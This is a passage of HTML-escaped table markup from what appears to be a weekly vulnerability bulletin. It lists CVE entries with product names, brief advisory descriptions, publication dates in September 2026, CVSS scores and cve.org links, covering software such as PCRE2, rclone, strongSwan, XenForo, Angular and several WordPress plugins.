&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89160&quot; target=&quot;_blank&quot;&gt;CVE-2026-89160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;PCRE2 before 10.48 has a pcre2_match out-of-bounds read after a JIT fallback when an attacker can provide invalid UTF data.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89156&quot; target=&quot;_blank&quot;&gt;CVE-2026-89156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;In PCRE2 before 10.48, pcre2_serialize_encode might disclose two bytes to an adversary, typically in a situation where the access available to the adversary is already unsafe.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89162&quot; target=&quot;_blank&quot;&gt;CVE-2026-89162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Small CRM&lt;/td&gt;
&lt;td&gt;A weakness has been identified in PHPGurukul Small CRM 4.0. This impacts the function unserialize of the file /crm/login.php of the component Login Success Handler. This manipulation of the argument geopluginURL causes deserialization. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90575&quot; target=&quot;_blank&quot;&gt;CVE-2026-90575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.39.2 fail to validate entity despawn state when processing attack packets from clients. Attackers can exploit a race condition by attacking a disconnecting player to trigger multiple death handlers, causing inventory items and experience to drop multiple times for duplication.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86203&quot; target=&quot;_blank&quot;&gt;CVE-2026-86203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectfloodlight--Floodlight&lt;/td&gt;
&lt;td&gt;Floodlight 71fe8a7 allows disruption of host communication via link spoofing. A port is misclassified as a non-boundary.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-45480&quot; target=&quot;_blank&quot;&gt;CVE-2025-45480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quequnlong--shiyi-blog&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in quequnlong shiyi-blog 1.0.0-1.2.1. This impacts the function SysChatMsgMapper.getChatMsgList of the file blog-web/src/views/chat/index.vue of the component chat sendMsg Endpoint. Such manipulation of the argument chat_msg leads to cross site scripting. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90564&quot; target=&quot;_blank&quot;&gt;CVE-2026-90564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quequnlong--shiyi-blog&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in quequnlong shiyi-blog up to 1.2.1. Affected by this issue is the function highlightKeyword of the file blog-web/src/components/Search/index.vue of the component Search. The manipulation of the argument title/summary leads to cross site scripting. The attack can be initiated remotely. The project was informed of the problem early through an issue report.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90567&quot; target=&quot;_blank&quot;&gt;CVE-2026-90567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.49.0 until 1.75.1, the HTTP backend attaches headers configured through --http-headers or headers= to requests in backend/http/http.go, while its fshttp.NewClient client follows redirects without a backend-specific http.Client.CheckRedirect policy. A configured remote that redirects to another host can therefore cause custom secrets such as X-Api-Key to be resent to that untrusted destination, and a same-host HTTPS-to-HTTP redirect can expose Authorization or Cookie headers in cleartext. Listing, stat, download, mount, and serve operations can trigger the leak during normal use. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88013&quot; target=&quot;_blank&quot;&gt;CVE-2026-88013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Fast Datapath for RHEL 10&lt;/td&gt;
&lt;td&gt;A flaw was found in DPDK lib/vhost. Missing length validation before reading command_data in the virtio-net control-queue handler can cause an out-of-bounds read and a host process crash.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86564&quot; target=&quot;_blank&quot;&gt;CVE-2026-86564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;Two case-insensitive comparisons on request-derived usernames outside the main authorization path in CUPS&#039;s scheduler (printer ACL validation and private-attribute filtering) could allow bypass of username-based access controls in certain configurations.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87876&quot; target=&quot;_blank&quot;&gt;CVE-2026-87876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Process Integration (SOAP Adapter)&lt;/td&gt;
&lt;td&gt;SAP Process Integration (SOAP Adapter) allows a privileged user to send specially crafted requests containing deeply nested entity definitions, which under certain conditions could temporarily increase processor load and degrade system responsiveness. Successful exploitation results in low impact on availability with no impact on confidentiality and integrity.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;2.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58234&quot; target=&quot;_blank&quot;&gt;CVE-2026-58234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP S/4HANA (Finance for Advanced Payment Management)&lt;/td&gt;
&lt;td&gt;SAP S/4HANA Finance (Advanced Payment Management) does not perform sufficient Cross-Site Request Forgery protection on certain requests, due to this an attacker with low privileges could craft a malicious link or page. If an authenticated victim interacts with it, unintended actions could be triggered on the web server on their behalf. This results in a low impact on confidentiality and integrity. There is no impact on availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76960&quot; target=&quot;_blank&quot;&gt;CVE-2026-76960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP S/4HANA (Finance for Advanced Payment Management)&lt;/td&gt;
&lt;td&gt;SAP S/4HANA Finance (Advanced Payment Management) does not perform sufficient Cross-Site Request Forgery protection on certain requests, due to this an attacker with low privileges could craft a malicious link or page. If an authenticated victim interacts with it, unintended actions could be triggered on the web server on their behalf. This results in a low impact on confidentiality and integrity. There is no impact on availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76961&quot; target=&quot;_blank&quot;&gt;CVE-2026-76961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SEP--sesam&lt;/td&gt;
&lt;td&gt;SEP sesam before 5.2.0.24 mishandles User Authorization with MFA. If AD authentication is configured and MFA is enforced, an attacker can create a second OTP access capability. SEP sesam and Active Directory handle username capitalization differently, which may allow multiple SEP sesam user accounts to be created for the same Active Directory (AD) account. Active Directory treats usernames as case-insensitive, while SEP sesam distinguishes between different letter casing. As a result, the same AD user can be represented by multiple SEP sesam user accounts that differ only in username capitalization. When Active Directory authentication is configured and multi-factor authentication (MFA) is enforced, this behavior may allow an additional OTP Authenticator to be registered for the same AD account, reducing the effectiveness of MFA protection.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79300&quot; target=&quot;_blank&quot;&gt;CVE-2026-79300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;star7th--showdoc&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in star7th showdoc up to 3.9.1. This vulnerability affects unknown code of the file web_src/public/editor.md/editormd.js of the component API Page Save Endpoint. Executing a manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 3.9.2 is able to resolve this issue. This patch is called a8ea1520850b4242f395247f72e87e597506cef0. Upgrading the affected component is recommended. The vendor confirms: &quot;The fix [...] sets Mermaid `securityLevel` to `strict`, disables `htmlLabels`, and sanitizes rendered SVG with DOMPurify.&quot;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86644&quot; target=&quot;_blank&quot;&gt;CVE-2026-86644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stilleshan--ServerStatus&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in stilleshan ServerStatus 1.0/2.0. Impacted is an unknown function of the file server/src/main.cpp of the component Stats Generation. Performing a manipulation of the argument custom results in cross site scripting. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90502&quot; target=&quot;_blank&quot;&gt;CVE-2026-90502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 5.0.2 through 6.0.7 allows PKCS#7 certificate enumeration in the openssl plugin that leads to a lack of release of memory after its effective lifetime.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78124&quot; target=&quot;_blank&quot;&gt;CVE-2026-78124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;libcharon in strongSwan 4.1.2 through 6.0.7 has a missing release of memory after its effective lifetime in the IKE message parser.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78127&quot; target=&quot;_blank&quot;&gt;CVE-2026-78127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 4.2.0 through 6.0.7 has a missing release of memory after its effective lifetime in the x509 plugin&#039;s attribute certificate parser.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78131&quot; target=&quot;_blank&quot;&gt;CVE-2026-78131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckApp--tduck-platform&lt;/td&gt;
&lt;td&gt;A flaw has been found in TDuckApp tduck-platform up to 5.3. Affected by this vulnerability is an unknown functionality of the file tduck-front/src/views/form/write/index.vue of the component Form Write View. This manipulation of the argument submitShowCustomPageContent causes cross site scripting. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90528&quot; target=&quot;_blank&quot;&gt;CVE-2026-90528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. This affects an unknown part of the component Anchor Tag Handler. Performing a manipulation results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90604&quot; target=&quot;_blank&quot;&gt;CVE-2026-90604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TUBITAK BILGEM Software Technologies Research Institute--Pardus Pen&lt;/td&gt;
&lt;td&gt;Improper neutralization of argument delimiters in a command (&#039;argument injection&#039;) vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Pen allows Argument Injection. This issue affects Pardus Pen: before 4.2.1.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11765&quot; target=&quot;_blank&quot;&gt;CVE-2026-11765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a missing authorization vulnerability in the force-agreement controller that allows any ACP administrator to access and submit force-agreement forms regardless of their assigned permissions. Attackers can bypass the option permission declared in the navigation configuration to update the global policy last-updated timestamp, forcing all users to re-agree to the privacy policy or terms of service.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73318&quot; target=&quot;_blank&quot;&gt;CVE-2026-73318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a missing authorization vulnerability in the ACP cache-rebuild dispatcher that allows limited administrators with only the rebuildCache permission to perform unauthorized approval queue actions by supplying an arbitrary job class and actor user ID in the POST body. Attackers can invoke the approval queue job under any user identity to approve queued user registrations without holding the required approval-queue or moderator permissions, causing the moderation log to attribute actions to an impersonated account.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73317&quot; target=&quot;_blank&quot;&gt;CVE-2026-73317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Xuxueli--xxl-job&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Xuxueli xxl-job up to 3.5.0. This vulnerability affects unknown code of the file /jobinfo/insert. Such manipulation of the argument name/author leads to cross site scripting. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90489&quot; target=&quot;_blank&quot;&gt;CVE-2026-90489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zettlab--D6 Ultra&lt;/td&gt;
&lt;td&gt;Zettlab D6 Ultra before 1.7.0 allows absolute path traversal to reach folders other than the personal folder.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-70820&quot; target=&quot;_blank&quot;&gt;CVE-2025-70820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;snya_v&quot;&gt;
&lt;h2 id=&quot;snya_v_title&quot;&gt;Severity Not Yet Assigned&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; id=&quot;table_severity_not_yet_assigned&quot; border=&quot;1&quot; summary=&quot;Severity Not Yet Assigned&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Actions Semiconductor Co. Ltd--Tool- Media Player Utilities v.4.46&lt;/td&gt;
&lt;td&gt;An issue in Actions Semiconductor Co. Ltd Tool- Media Player Utilities v.4.46 allows a physically proximate attacker execute arbitrary code via the Production.dll and RdiskUpgrade.exe components&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36433&quot; target=&quot;_blank&quot;&gt;CVE-2026-36433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Add User Autocomplete--Add User Autocomplete&lt;/td&gt;
&lt;td&gt;The Add User Autocomplete WordPress plugin before 1.2 does not perform any capability or nonce check before creating a pending site-membership invitation carrying a caller-supplied role, allowing any authenticated user, such as a subscriber, to grant themselves the administrator role on a multisite installation.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87759&quot; target=&quot;_blank&quot;&gt;CVE-2026-87759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;advanced-customized-prompts--advanced-customized-prompts&lt;/td&gt;
&lt;td&gt;The advanced-customized-prompts WordPress plugin through 1.0.1 does not verify the password before issuing an authenticated session for a supplied email address in an unauthenticated action, allowing unauthenticated attackers to log in as any registered user, including administrators, or to create arbitrary new accounts.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14563&quot; target=&quot;_blank&quot;&gt;CVE-2026-14563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;advanced-customized-prompts--advanced-customized-prompts&lt;/td&gt;
&lt;td&gt;The advanced-customized-prompts WordPress plugin through 1.0.1 does not perform any capability, ownership, or nonce check before saving popup configuration to a product, nor escape the stored values on output, allowing any authenticated user such as a subscriber to store JavaScript that executes in the browser of visitors viewing the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14565&quot; target=&quot;_blank&quot;&gt;CVE-2026-14565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;advanced-customized-prompts--advanced-customized-prompts&lt;/td&gt;
&lt;td&gt;The advanced-customized-prompts WordPress plugin through 1.0.1 does not perform any capability, ownership, or nonce check before updating WooCommerce order item metadata for a supplied order, allowing any authenticated user such as a subscriber to tamper with the custom metadata of orders belonging to other customers.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14566&quot; target=&quot;_blank&quot;&gt;CVE-2026-14566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AI Builder--AI Builder&lt;/td&gt;
&lt;td&gt;The AI Builder WordPress plugin before 2.7.8 does not sanitise custom JavaScript saved against a post before echoing it inside a script tag on the front end, allowing users with contributor level access and above to store arbitrary JavaScript that will execute in the browser of anyone who views the post, including the editor or administrator who reviews it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85678&quot; target=&quot;_blank&quot;&gt;CVE-2026-85678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Album Cover Finder--Album Cover Finder&lt;/td&gt;
&lt;td&gt;The Album Cover Finder WordPress plugin through 0.7.0 does not properly sanitize and escape a parameter before using it in a SQL query, allowing unauthenticated users to perform SQL injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84047&quot; target=&quot;_blank&quot;&gt;CVE-2026-84047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alfio-event--alf.io&lt;/td&gt;
&lt;td&gt;alf.io is an open source ticket reservation system for conferences, trade shows, workshops, and meetups. An Improper Access Control issue in versions prior to 2.0-M5-2605 allows an organization owner to read system-level configuration secrets through organization/event scoped &quot;single configuration&quot; endpoints. The affected endpoints require organization or event ownership, but they accept an arbitrary configuration key and then return the first matching value from a lookup that includes system-level configuration. As a result, an organization owner can retrieve secrets intended to be administrator-only, including the system API key when it is configured. Version 2.0-M5-2605 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50165&quot; target=&quot;_blank&quot;&gt;CVE-2026-50165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Algosec--Horizon Security Analyzer&lt;/td&gt;
&lt;td&gt;Improper Privilege Management vulnerability in Horizon Security Analyzer (formerly AlgoSec Firewall Analyzer) on Linux, 64 bit allows&amp;nbsp;Privilege Escalation and Parameter Injection. A local user with access to the command line may escalate their privileges by abusing the parameters of a command that is approved in the sudoers file.&amp;nbsp; This issue affects&amp;nbsp;Horizon Security Analyzer : A33.10, A33.20 and A33.30.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77654&quot; target=&quot;_blank&quot;&gt;CVE-2026-77654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AMI--AptioV&lt;/td&gt;
&lt;td&gt;AMI APTIOV contains a vulnerability in BIOS where a privileged user may cause the &quot;Incomplete List of Disallowed&amp;nbsp;Inputs&quot; by local access. Successful exploitation of this vulnerability may lead to arbitrary code execution and impact&amp;nbsp;system Confidentiality, Integrity, and Availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33197&quot; target=&quot;_blank&quot;&gt;CVE-2026-33197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Android--Android&lt;/td&gt;
&lt;td&gt;UC Browser for Android (package com.UCMobile.intl, version 13.7.8.1314) contains a Universal Cross-Site Scripting vulnerability that allows an attacker to execute arbitrary JavaScript in the context of any origin. An attacker hosts a specially crafted URL on a UC-owned domain (via a reflected XSS) that leverages the browser&#039;s internal JavaScript bridge to register a deferred callback, navigate the tab to a victim site, and then execute attacker-controlled code on that site when a login dialog is dismissed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78997&quot; target=&quot;_blank&quot;&gt;CVE-2026-78997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;angular--angular&lt;/td&gt;
&lt;td&gt;Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88056&quot; target=&quot;_blank&quot;&gt;CVE-2026-88056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;angular--angular&lt;/td&gt;
